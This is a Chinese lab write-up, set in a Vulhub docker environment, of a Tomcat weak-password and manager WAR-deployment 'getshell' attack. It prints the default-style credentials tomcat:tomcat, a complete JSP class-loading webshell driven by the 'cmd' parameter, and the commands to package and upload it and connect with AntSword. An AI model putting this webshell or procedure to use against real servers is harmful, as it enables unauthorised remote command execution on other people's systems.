赞
踩
感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规
说明 | 内容 |
---|---|
漏洞编号 | |
漏洞名称 | Tomcat7+ 弱口令 && 后台getshell漏洞 |
漏洞评级 | 高危 |
影响范围 | Tomcat 版本:8.0 |
漏洞描述 | Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限 tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击 |
修复方案 |
Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限
Tomcat7+权限分为:
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在conf/tomcat-users.xml
文件中配置用户的权限:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可见,用户tomcat拥有上述所有权限,密码是tomcat
。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
高危
Tomcat 版本:8.0
Path:Vulhub/tomcat/tomcat8
启动测试环境:
sudo docker-compose up -d
访问http://your-ip:8080/
即可看到
点击Manager App
即可跳到管理登陆页面
输入用户名密码 tomcat:tomcat
,来到管理界面
登录到后台后可以通过部署war
包进行getshell
找一个a.jsp
木马
<%! class U extends ClassLoader { U(ClassLoader c){ super(c); } public Class g(byte[] b){ return super.defineClass(b,0,b.length); } } public byte[] base64Decode(String str) throws Exception{ try{ Class clazz =Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str); }catch (Exception e){ Class clazz =Class.forName("java.util.Base64"); Object decoder =clazz.getMethod("getDecoder").invoke(null); return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str); } } %> <% String cls =request.getParameter("cmd"); if(cls != null){ new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
打包成war
包
jar cvf tomcat.war a.jsp
上传打包的tomcat.war
生成一个tomcat
的路径
在地址栏路径中访问http://192.168.80.141:8080/tomcat/a.jsp
蚁剑连接,密码cmd
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。